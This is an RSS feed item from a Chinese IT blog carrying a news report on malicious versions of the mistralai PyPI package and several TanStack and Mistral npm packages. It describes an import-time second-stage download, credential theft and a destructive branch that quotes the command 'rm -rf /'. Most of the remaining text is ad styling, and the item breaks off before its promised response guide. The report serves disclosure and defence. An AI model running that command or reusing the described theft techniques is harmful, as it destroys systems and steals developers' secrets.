<?xml version="1.0" encoding="utf-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><title>HQY</title><link>https://www.kinber.cn/</link><description>HQY|VPS|VPN|华为|思科|H3C|DELL|VMWARE|VCENTER|ESXI</description><item><title>警惕！mistralai PyPI 包植入恶意代码：伪装 Transformers 框架，针对 Linux 环境窃取 CI/CD 密钥，附紧急排查指南</title><link>https://www.kinber.cn/post/6550.html</link><description>&lt;div class=&quot;apd my-3 &quot; style=&quot;box-sizing: border-box; color: rgb(72, 75, 79); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255); margin-top: 1rem !important; margin-bottom: 1rem !important;&quot;&gt;&lt;div class=&quot;apd-body&quot; style=&quot;box-sizing: border-box;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;panel-body single mt-2&quot; style=&quot;box-sizing: border-box; color: rgb(72, 75, 79); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255); margin-top: 0.5rem !important; height: auto !important;&quot;&gt;&lt;p style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 1.25rem; font-size: 1rem; line-height: 2; overflow-wrap: break-word;&quot;&gt;软件供应链安全再次拉响警报。微软威胁情报与安全公司 Aikido 近日披露，流行的&amp;nbsp;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;&lt;a class=&quot;external&quot; href=&quot;https://sd114.wiki/tag/mistral-ai&quot; title=&quot;查看与 Mistral AI 相关的文章&quot; target=&quot;_blank&quot; style=&quot;box-sizing: border-box; color: var(--main-color); background-color: transparent; padding-right: 5px; transition: all 0.3s ease 0s;&quot;&gt;Mistral AI&lt;/a&gt;&lt;/span&gt;&amp;nbsp;Python/Node.js SDK 以及&amp;nbsp;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;&lt;a class=&quot;external&quot; href=&quot;https://sd114.wiki/tag/tanstack&quot; title=&quot;查看与 TanStack 相关的文章&quot; target=&quot;_blank&quot; style=&quot;box-sizing: border-box; color: var(--main-color); background-color: transparent; padding-right: 5px; transition: all 0.3s ease 0s;&quot;&gt;TanStack&lt;/a&gt;&lt;/span&gt;&amp;nbsp;JavaScript 生态系统中的多个 npm 包遭到入侵。这些事件被怀疑属于持续进行的&amp;nbsp;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;“Mini Shai-Hulud”&lt;/span&gt;&amp;nbsp;恶意活动的一部分，旨在通过受信任的开发工具窃取高价值凭证，并可能在特定条件下执行破坏性操作。&lt;/p&gt;&lt;a class=&quot;js&quot; href=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260515005606_68578.png&quot; data-fancybox=&quot;images&quot; data-caption=&quot;警惕！mistralai PyPI 包植入恶意代码：伪装 Transformers 框架，针对 Linux 环境窃取 CI/CD 密钥，附紧急排查指南&quot; style=&quot;box-sizing: border-box; color: var(--main-color); background-color: transparent; transition: all 0.3s ease 0s;&quot;&gt;&lt;img fetchpriority=&quot;high&quot; decoding=&quot;async&quot; data-src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260515005606_68578.png&quot; src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260515005606_68578.png&quot; class=&quot;size-full wp-image-29389 aligncenter lazy entered loaded loadafter&quot; alt=&quot;警惕！mistralai PyPI 包植入恶意代码：伪装 Transformers 框架，针对 Linux 环境窃取 CI/CD 密钥，附紧急排查指南&quot; width=&quot;601&quot; height=&quot;673&quot; data-ll-status=&quot;loaded&quot; style=&quot;box-sizing: border-box; vertical-align: middle; border-style: none; max-height: 100%; display: block; margin: 5px auto; filter: blur(0px); transition: filter 0.5s ease-in 0s; height: auto;&quot;/&gt;&lt;/a&gt;&lt;p style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 1.25rem; font-size: 1rem; line-height: 2; overflow-wrap: break-word;&quot;&gt;此次攻击不仅影响了数千万次下载量的前端基础设施，更直指当下最热门的 AI 开发领域，暴露了现代开发环境中 CI/CD 凭证、云密钥及 GitHub Token 的巨大风险。&lt;/p&gt;&lt;h3 style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 1rem; font-weight: 500; line-height: 1.2; font-size: 1.125rem;&quot;&gt;攻击详情：伪装、潜伏与窃取&lt;/h3&gt;&lt;h4 style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 1rem; font-weight: 500; line-height: 1.2; font-size: 1rem; position: relative; padding-bottom: 0.5rem; border-bottom: 1px solid rgba(136, 136, 136, 0.2);&quot;&gt;1. Mistral AI PyPI 包入侵 (Python)&lt;/h4&gt;&lt;ul style=&quot;box-sizing: border-box; margin-bottom: 1rem; font-size: 0.875rem;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;受影响版本&lt;/span&gt;：&lt;code style=&quot;box-sizing: border-box; font-family: SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 0.9em; color: var(--theme-color); overflow-wrap: break-word; background: var(--muted-bg-a-color); border-radius: 3px; padding: 0.1em 0px; margin: 0px 2px; line-height: 1; vertical-align: 0.05em;&quot;&gt;mistralai&lt;/code&gt;&amp;nbsp;v2.4.6&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;恶意行为&lt;/span&gt;：&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;list-style-type: square;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;注入点&lt;/span&gt;：&lt;code style=&quot;box-sizing: border-box; font-family: SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 0.9em; color: var(--theme-color); overflow-wrap: break-word; background: var(--muted-bg-a-color); border-radius: 3px; padding: 0.1em 0px; margin: 0px 2px; line-height: 1; vertical-align: 0.05em;&quot;&gt;mistralai/client/__init__.py&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;触发机制&lt;/span&gt;：在 Linux 系统上导入包时自动执行。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;第二阶段载荷&lt;/span&gt;：静默下载文件至&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 0.9em; color: var(--theme-color); overflow-wrap: break-word; background: var(--muted-bg-a-color); border-radius: 3px; padding: 0.1em 0px; margin: 0px 2px; line-height: 1; vertical-align: 0.05em;&quot;&gt;/tmp/transformers.pyz&lt;/code&gt;。&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;注意&lt;/span&gt;：文件名故意模仿 Hugging Face 的&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 0.9em; color: var(--theme-color); overflow-wrap: break-word; background: var(--muted-bg-a-color); border-radius: 3px; padding: 0.1em 0px; margin: 0px 2px; line-height: 1; vertical-align: 0.05em;&quot;&gt;transformers&lt;/code&gt;&amp;nbsp;库，以混淆视听。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;后台运行&lt;/span&gt;：启动分离的后台进程，抑制错误输出，确保持久化运行。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;功能&lt;/span&gt;：&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;list-style-type: square;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;凭证窃取&lt;/span&gt;：主要目标是 GitHub PAT、npm Token、云 API 密钥及 SSH 凭证。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;区域感知&lt;/span&gt;：包含避免在俄语系统上运行的逻辑（常见于网络犯罪团伙）。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;破坏性分支&lt;/span&gt;：在特定地理条件下可能执行&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 0.9em; color: var(--theme-color); overflow-wrap: break-word; background: var(--muted-bg-a-color); border-radius: 3px; padding: 0.1em 0px; margin: 0px 2px; line-height: 1; vertical-align: 0.05em;&quot;&gt;rm -rf /&lt;/code&gt;，彻底摧毁文件系统。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;h4 style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 1rem; font-weight: 500; line-height: 1.2; font-size: 1rem; position: relative; padding-bottom: 0.5rem; border-bottom: 1px solid rgba(136, 136, 136, 0.2);&quot;&gt;2. TanStack &amp;amp; Mistral npm 包入侵 (JavaScript/TypeScript)&lt;/h4&gt;&lt;ul style=&quot;box-sizing: border-box; margin-bottom: 1rem; font-size: 0.875rem;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;受影响包&lt;/span&gt;：&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;list-style-type: square;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;TanStack&lt;/span&gt;:&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 0.9em; color: var(--theme-color); overflow-wrap: break-word; background: var(--muted-bg-a-color); border-radius: 3px; padding: 0.1em 0px; margin: 0px 2px; line-height: 1; vertical-align: 0.05em;&quot;&gt;@tanstack/react-router&lt;/code&gt;,&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 0.9em; color: var(--theme-color); overflow-wrap: break-word; background: var(--muted-bg-a-color); border-radius: 3px; padding: 0.1em 0px; margin: 0px 2px; line-height: 1; vertical-align: 0.05em;&quot;&gt;@tanstack/history&lt;/code&gt;,&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 0.9em; color: var(--theme-color); overflow-wrap: break-word; background: var(--muted-bg-a-color); border-radius: 3px; padding: 0.1em 0px; margin: 0px 2px; line-height: 1; vertical-align: 0.05em;&quot;&gt;@tanstack/router-core&lt;/code&gt;&amp;nbsp;等（周下载量数千万）。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;Mistral&lt;/span&gt;:&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 0.9em; color: var(--theme-color); overflow-wrap: break-word; background: var(--muted-bg-a-color); border-radius: 3px; padding: 0.1em 0px; margin: 0px 2px; line-height: 1; vertical-align: 0.05em;&quot;&gt;@mistralai/mistralai&lt;/code&gt;,&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 0.9em; color: var(--theme-color); overflow-wrap: break-word; background: var(--muted-bg-a-color); border-radius: 3px; padding: 0.1em 0px; margin: 0px 2px; line-height: 1; vertical-align: 0.05em;&quot;&gt;@mistralai/mistralai-azure&lt;/code&gt;,&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 0.9em; color: var(--theme-color); overflow-wrap: break-word; background: var(--muted-bg-a-color); border-radius: 3px; padding: 0.1em 0px; margin: 0px 2px; line-height: 1; vertical-align: 0.05em;&quot;&gt;@mistralai/mistralai-gcp&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: bolder;&quot;&gt;攻击手法&lt;/span&gt;：与 TanStack 此前遭受的 OIDC 滥用攻击类似，攻击者通过 compromised 的发布流程注入恶意代码，在安装或运行时窃取环境变量中的敏感信息。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3 style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 1rem; font-weight: 500; line-height: 1.2; font-size: 1.125rem;&quot;&gt;为什么开发者是高危目标？&lt;/h3&gt;&lt;div class=&quot;google-auto-placed ap_container&quot; style=&quot;box-sizing: border-box; width: 875px; height: auto; clear: both; text-align: center;&quot;&gt;&lt;ins data-ad-format=&quot;auto&quot; class=&quot;adsbygoogle adsbygoogle-noablate&quot; data-ad-client=&quot;ca-pub-7417446368913760&quot; data-adsbygoogle-status=&quot;done&quot; data-ad-status=&quot;unfill-optimized&quot; style=&quot;box-sizing: border-box; display: block; margin: auto; background-color: transparent !important; height: auto !important;&quot;&gt;&lt;div id=&quot;aswift_4_host&quot; style=&quot;box-sizing: border-box; border: none; height: auto !important; width: 875px; margin: 0px; padding: 0px; position: relative; visibility: visible; background-color: transparent; display: inline-block; overflow: visible;&quot;&gt;&lt;div data-google-ad-efd=&quot;true&quot; class=&quot;google-aiuf&quot; style=&quot;box-sizing: border-box; width: 875px !important; display: flex !important; flex-wrap: wrap !important; place-content: center !important; align-items: center !important; gap: 10px !important; font-size: initial !important; height: auto !important; max-height: 280px !important;&quot;&gt;&lt;div class=&quot;goog-rentries&quot; style=&quot;color: inherit !important; direction: inherit !important; font-family: inherit !important; font-feature-settings: initial !important; font-kerning: initial !important; font-optical-sizing: initial !important; font-palette: initial !important; font-size: inherit !important; font-stretch: initial !important; font-style: initial !important; font-synthesis: initial !important; font-variant: initial !important; font-variation-settings: initial !important; font-weight: inherit !important; forced-color-adjust: initial !important; text-orientation: inherit !important; text-rendering: initial !important; -webkit-font-smoothing: initial !important; -webkit-locale: initial !important; -webkit-text-orientation: initial !important; -webkit-writing-mode: initial !important; writing-mode: inherit !important; zoom: initial !important; accent-color: initial !important; align-content: initial !important; align-items: center !important; align-self: stretch !important; alignment-baseline: initial !important; animation-composition: initial !important; animation: initial !important; app-region: initial !important; appearance: initial !important; aspect-ratio: initial !important; backdrop-filter: initial !important; backface-visibility: initial !important; background: rgb(248, 249, 250) !important; background-blend-mode: initial !important; baseline-shift: initial !important; baseline-source: initial !important; block-size: initial !important; border-block: initial !important; border: 1px solid rgb(218, 220, 224) !important; border-radius: 4px !important; border-collapse: initial !important; border-end-end-radius: initial !important; border-end-start-radius: initial !important; border-inline: initial !important; border-start-end-radius: initial !important; border-start-start-radius: initial !important; inset: initial !important; box-shadow: initial !important; box-sizing: initial !important; break-after: initial !important; break-before: initial !important; break-inside: initial !important; buffered-rendering: initial !important; caption-side: initial !important; caret-color: initial !important; clear: initial !important; clip: initial !important; clip-path: initial !important; clip-rule: initial !important; color-interpolation: initial !important; color-interpolation-filters: initial !important; color-rendering: initial !important; color-scheme: initial !important; columns: initial !important; column-fill: initial !important; gap: 2px !important; column-rule: initial !important; column-span: initial !important; contain: initial !important; contain-intrinsic-block-size: initial !important; contain-intrinsic-size: initial !important; contain-intrinsic-inline-size: initial !important; container: initial !important; content: initial !important; content-visibility: initial !important; counter-increment: initial !important; counter-reset: initial !important; counter-set: initial !important; cursor: inherit !important; cx: initial !important; cy: initial !important; d: initial !important; display: flex !important; dominant-baseline: initial !important; empty-cells: initial !important; fill: initial !important; fill-opacity: initial !important; fill-rule: initial !important; filter: initial !important; flex-basis: initial !important; flex-flow: wrap !important; flex-grow: initial !important; flex-shrink: 1 !important; float: initial !important; flood-color: initial !important; flood-opacity: initial !important; grid: initial !important; grid-area: initial !important; height: initial !important; hyphenate-character: initial !important; hyphenate-limit-chars: initial !important; hyphens: initial !important; image-orientation: initial !important; image-rendering: initial !important; initial-letter: initial !important; inline-size: initial !important; inset-block: initial !important; inset-inline: initial !important; isolation: initial !important; justify-content: flex-start !important; justify-items: initial !important; justify-self: initial !important; letter-spacing: initial !important; lighting-color: initial !important; line-break: initial !important; line-height: initial !important; list-style: initial !important; margin-block: initial !important; margin: 5px !important; margin-inline: initial !important; marker: initial !important; mask: initial !important; mask-type: initial !important; math-depth: initial !important; math-shift: initial !important; math-style: initial !important; max-block-size: initial !important; max-height: initial !important; max-inline-size: initial !important; max-width: initial !important; min-block-size: initial !important; min-height: initial !important; min-inline-size: initial !important; min-width: initial !important; mix-blend-mode: initial !important; object-fit: initial !important; object-position: initial !important; object-view-box: initial !important; offset: initial !important; opacity: initial !important; order: initial !important; orphans: initial !important; outline: initial !important; outline-offset: initial !important; overflow-anchor: initial !important; overflow-clip-margin: initial !important; overflow-wrap: initial !important; overflow: initial !important; overlay: initial !important; overscroll-behavior-block: initial !important; overscroll-behavior-inline: initial !important; overscroll-behavior: initial !important; padding-block: initial !important; padding-bottom: 5px !important; padding-inline: initial !important; padding-left: initial !important; padding-right: initial !important; padding-top: initial !important; page: initial !important; page-orientation: initial !important; paint-order: initial !important; perspective: initial !important; perspective-origin: initial !important; pointer-events: initial !important; position: initial !important; quotes: initial !important; r: initial !important; resize: initial !important; rotate: initial !important; ruby-position: initial !important; rx: initial !important; ry: initial !important; scale: initial !important; scroll-behavior: initial !important; scroll-margin-block: initial !important; scroll-margin: initial !important; scroll-margin-inline: initial !important; scroll-padding-block: initial !important; scroll-padding: initial !important; scroll-padding-inline: initial !important; scroll-snap-align: initial !important; scroll-snap-stop: initial !important; scroll-snap-type: initial !important; scroll-timeline: initial !important; scrollbar-gutter: initial !important; shape-image-threshold: initial !important; shape-margin: initial !important; shape-outside: initial !important; shape-rendering: initial !important; size: initial !important; speak: initial !important; stop-color: initial !important; stop-opacity: initial !important; stroke: initial !important; stroke-dasharray: initial !important; stroke-dashoffset: initial !important; stroke-linecap: initial !important; stroke-linejoin: initial !important; stroke-miterlimit: initial !important; stroke-opacity: initial !important; stroke-width: initial !important; tab-size: initial !important; table-layout: initial !important; text-align: inherit !important; text-align-last: initial !important; text-anchor: initial !important; text-combine-upright: initial !important; text-decoration-line: initial !important; text-decoration-skip-ink: initial !important; text-emphasis: initial !important; text-emphasis-position: initial !important; text-indent: initial !important; text-overflow: initial !important; text-shadow: initial !important; text-size-adjust: initial !important; text-transform: initial !important; text-underline-offset: initial !important; text-underline-position: initial !important; white-space: initial !important; timeline-scope: initial !important; touch-action: initial !important; transform: initial !important; transform-box: initial !important; transform-origin: initial !important; transform-style: initial !important; transition: initial !important; translate: initial !important; user-select: initial !important; vector-effect: initial !important; vertical-align: initial !important; view-timeline: initial !important; view-transition-name: initial !important; visibility: inherit !important; border-spacing: initial !important; -webkit-box-align: initial !important; -webkit-box-decoration-break: initial !important; -webkit-box-direction: initial !important; -webkit-box-flex: initial !important; -webkit-box-ordinal-group: initial !important; -webkit-box-orient: initial !important; -webkit-box-pack: initial !important; -webkit-box-reflect: initial !important; -webkit-line-break: initial !important; -webkit-line-clamp: initial !important; -webkit-mask-box-image: initial !important; -webkit-mask: initial !important; -webkit-mask-composite: initial !important; -webkit-print-color-adjust: initial !important; -webkit-rtl-ordering: initial !important; -webkit-ruby-position: initial !important; -webkit-tap-highlight-color: initial !important; -webkit-text-combine: initial !important; -webkit-text-decorations-in-effect: initial !important; -webkit-text-fill-color: unset !important; -webkit-text-security: initial !important; -webkit-text-stroke: initial !important; -webkit-user-drag: initial !important; -webkit-user-modify: initial !important; widows: initial !important; width: initial !important; will-change: initial !important; word-break: initial !important; word-spacing: initial !important; x: initial !important; y: initial !important; z-index: initial !important;&quot;&gt;&lt;div style=&quot;color: rgb(74, 74, 74) !important; direction: inherit !important; font-family: &amp;quot;Google Sans&amp;quot;, Roboto, Arial, sans-serif !important; font-feature-settings: initial !important; font-kerning: initial !important; font-optical-sizing: initial !important; font-palette: initial !important; font-size: 18px !important; font-stretch: initial !important; font-style: initial !important; font-synthesis: initial !important; font-variant: initial !important; font-variation-settings: initial !important; font-weight: inherit !important; forced-color-adjust: initial !important; text-orientation: inherit !important; text-rendering: initial !important; -webkit-font-smoothing: initial !important; -webkit-locale: initial !important; -webkit-text-orientation: initial !important; -webkit-writing-mode: initial !important; writing-mode: inherit !important; zoom: initial !important; accent-color: initial !important; align-content: initial !important; align-items: center !important; place-self: initial !important; alignment-baseline: initial !important; animation-composition: initial !important; animation: initial !important; app-region: initial !important; appearance: initial !important; aspect-ratio: initial !important; backdrop-filter: initial !important; backface-visibility: initial !important; background: initial !important; background-blend-mode: initial !important; baseline-shift: initial !important; baseline-source: initial !important; block-size: initial !important; border-block: initial !important; border: initial !important; border-radius: initial !important; border-collapse: initial !important; border-end-end-radius: initial !important; border-end-start-radius: initial !important; border-inline: initial !important; border-start-end-radius: initial !important; border-start-start-radius: initial !important; inset: initial !important; box-shadow: initial !important; box-sizing: initial !important; break-after: initial !important; break-before: initial !important; break-inside: initial !important; buffered-rendering: initial !important; caption-side: initial !important; caret-color: initial !important; clear: initial !important; clip: initial !important; clip-path: initial !important; clip-rule: initial !important; color-interpolation: initial !important; color-interpolation-filters: initial !important; color-rendering: initial !important; color-scheme: initial !important; columns: initial !important; column-fill: initial !important; gap: initial !important; column-rule: initial !important; column-span: initial !important; contain: initial !important; contain-intrinsic-block-size: initial !important; contain-intrinsic-size: initial !important; contain-intrinsic-inline-size: initial !important; container: initial !important; content: initial !important; content-visibility: initial !important; counter-increment: initial !important; counter-reset: initial !important; counter-set: initial !important; cursor: inherit !important; cx: initial !important; cy: initial !important; d: initial !important; display: flex !important; dominant-baseline: initial !important; empty-cells: initial !important; fill: initial !important; fill-opacity: initial !important; fill-rule: initial !important; filter: initial !important; flex: initial !important; flex-direction: row !important; flex-wrap: initial !important; float: initial !important; flood-color: initial !important; flood-opacity: initial !important; grid: initial !important; grid-area: initial !important; height: 48px !important; hyphenate-character: initial !important; hyphenate-limit-chars: initial !important; hyphens: initial !important; image-orientation: initial !important; image-rendering: initial !important; initial-letter: initial !important; inline-size: initial !important; inset-block: initial !important; inset-inline: initial !important; isolation: initial !important; justify-content: flex-start !important; justify-items: initial !important; letter-spacing: initial !important; lighting-color: initial !important; line-break: initial !important; line-height: initial !important; list-style: initial !important; margin-block: initial !important; margin: initial !important; margin-inline: initial !important; marker: initial !important; mask: initial !important; mask-type: initial !important; math-depth: initial !important; math-shift: initial !important; math-style: initial !important; max-block-size: initial !important; max-height: initial !important; max-inline-size: initial !important; max-width: initial !important; min-block-size: initial !important; min-height: initial !important; min-inline-size: initial !important; min-width: initial !important; mix-blend-mode: initial !important; object-fit: initial !important; object-position: initial !important; object-view-box: initial !important; offset: initial !important; opacity: initial !important; order: initial !important; orphans: initial !important; outline: initial !important; outline-offset: initial !important; overflow-anchor: initial !important; overflow-clip-margin: initial !important; overflow-wrap: initial !important; overflow: initial !important; overlay: initial !important; overscroll-behavior-block: initial !important; overscroll-behavior-inline: initial !important; overscroll-behavior: initial !important; padding-block: initial !important; padding: initial !important; padding-inline-end: initial !important; padding-inline-start: 5px !important; page: initial !important; page-orientation: initial !important; paint-order: initial !important; perspective: initial !important; perspective-origin: initial !important; pointer-events: initial !important; position: initial !important; quotes: initial !important; r: initial !important; resize: initial !important; rotate: initial !important; ruby-position: initial !important; rx: initial !important; ry: initial !important; scale: initial !important; scroll-behavior: initial !important; scroll-margin-block: initial !important; scroll-margin: initial !important; scroll-margin-inline: initial !important; scroll-padding-block: initial !important; scroll-padding: initial !important; scroll-padding-inline: initial !important; scroll-snap-align: initial !important; scroll-snap-stop: initial !important; scroll-snap-type: initial !important; scroll-timeline: initial !important; scrollbar-gutter: initial !important; shape-image-threshold: initial !important; shape-margin: initial !important; shape-outside: initial !important; shape-rendering: initial !important; size: initial !important; speak: initial !important; stop-color: initial !important; stop-opacity: initial !important; stroke: initial !important; stroke-dasharray: initial !important; stroke-dashoffset: initial !important; stroke-linecap: initial !important; stroke-linejoin: initial !important; stroke-miterlimit: initial !important; stroke-opacity: initial !important; stroke-width: initial !important; tab-size: initial !important; table-layout: initial !important; text-align: inherit !important; text-align-last: initial !important; text-anchor: initial !important; text-combine-upright: initial !important; text-decoration-line: initial !important; text-decoration-skip-ink: initial !important; text-emphasis: initial !important; text-emphasis-position: initial !important; text-indent: initial !important; text-overflow: initial !important; text-shadow: initial !important; text-size-adjust: initial !important; text-transform: initial !important; text-underline-offset: initial !important; text-underline-position: initial !important; white-space: initial !important; timeline-scope: initial !important; touch-action: initial !important; transform: initial !important; transform-box: initial !important; transform-origin: initial !important; transform-style: initial !important; transition: initial !important; translate: initial !important; user-select: initial !important; vector-effect: initial !important; vertical-align: initial !important; view-timeline: initial !important; view-transition-name: initial !important; visibility: inherit !important; border-spacing: initial !important; -webkit-box-align: initial !important; -webkit-box-decoration-break: initial !important; -webkit-box-direction: initial !important; -webkit-box-flex: initial !important; -webkit-box-ordinal-group: initial !important; -webkit-box-orient: initial !important; -webkit-box-pack: initial !important; -webkit-box-reflect: initial !important; -webkit-line-break: initial !important; -webkit-line-clamp: initial !important; -webkit-mask-box-image: initial !important; -webkit-mask: initial !important; -webkit-mask-composite: initial !important; -webkit-print-color-adjust: initial !important; -webkit-rtl-ordering: initial !important; -webkit-ruby-position: initial !important; -webkit-tap-highlight-color: initial !important; -webkit-text-combine: initial !important; -webkit-text-decorations-in-effect: initial !important; -webkit-text-fill-color: unset !important; -webkit-text-security: initial !important; -webkit-text-stroke: initial !important; -webkit-user-drag: initial !important; -webkit-user-modify: initial !important; widows: initial !important; width: initial !important; will-change: initial !important; word-break: initial !important; word-spacing: initial !important; x: initial !important; y: initial !important; z-index: initial !important;&quot;&gt;&lt;span aria-label=&quot;这些是与文章相关且您可能感兴趣的主题&quot; tabindex=&quot;0&quot; role=&quot;heading&quot; aria-level=&quot;2&quot; style=&quot;direction: inherit !important; font-family: inherit !important; font-feature-settings: initial !important; font-kerning: initial !important; font-optical-sizing: initial !important; font-palette: initial !important; font-stretch: initial !important; font-style: initial !important; font-synthesis: initial !important; font-variant: initial !important; font-variation-settings: initial !important; font-weight: 700 !important; forced-color-adjust: initial !important; text-orientation: inherit !important; text-rendering: initial !important; -webkit-font-smoothing: initial !important; -webkit-locale: initial !important; -webkit-text-orientation: initial !important; -webkit-writing-mode: initial !important; writing-mode: inherit !important; zoom: initial !important; accent-color: initial !important; place-content: initial !important; place-items: initial !important; place-self: initial !important; alignment-baseline: initial !important; animation-composition: initial !important; animation: initial !important; app-region: initial !important; appearance: initial !important; aspect-ratio: initial !important; backdrop-filter: initial !important; backface-visibility: initial !important; background: initial !important; background-blend-mode: initial !important; baseline-shift: initial !important; baseline-source: initial !important; block-size: initial !important; border-block: initial !important; border: initial !important; border-radius: 2px !important; border-collapse: initial !important; border-end-end-radius: initial !important; border-end-start-radius: initial !important; border-inline: initial !important; border-start-end-radius: initial !important; border-start-start-radius: initial !important; inset: initial !important; box-shadow: initial !important; box-sizing: initial !important; break-after: initial !important; break-before: initial !important; break-inside: initial !important; buffered-rendering: initial !important; caption-side: initial !important; caret-color: initial !important; clear: initial !important; clip: initial !important; clip-path: initial !important; clip-rule: initial !important; color-interpolation: initial !important; color-interpolation-filters: initial !important; color-rendering: initial !important; color-scheme: initial !important; columns: initial !important; column-fill: initial !important; gap: initial !important; column-rule: initial !important; column-span: initial !important; contain: initial !important; contain-intrinsic-block-size: initial !important; contain-intrinsic-size: initial !important; contain-intrinsic-inline-size: initial !important; container: initial !important; content: initial !important; content-visibility: initial !important; counter-increment: initial !important; counter-reset: initial !important; counter-set: initial !important; cursor: inherit !important; cx: initial !important; cy: initial !important; d: initial !important; display: initial !important; dominant-baseline: initial !important; empty-cells: initial !important; fill: initial !important; fill-opacity: initial !important; fill-rule: initial !important; filter: initial !important; flex: initial !important; flex-flow: initial !important; float: initial !important; flood-color: initial !important; flood-opacity: initial !important; grid: initial !important; grid-area: initial !important; height: initial !important; hyphenate-character: initial !important; hyphenate-limit-chars: initial !important; hyphens: initial !important; image-orientation: initial !important; image-rendering: initial !important; initial-letter: initial !important; inline-size: initial !important; inset-block: initial !important; inset-inline: initial 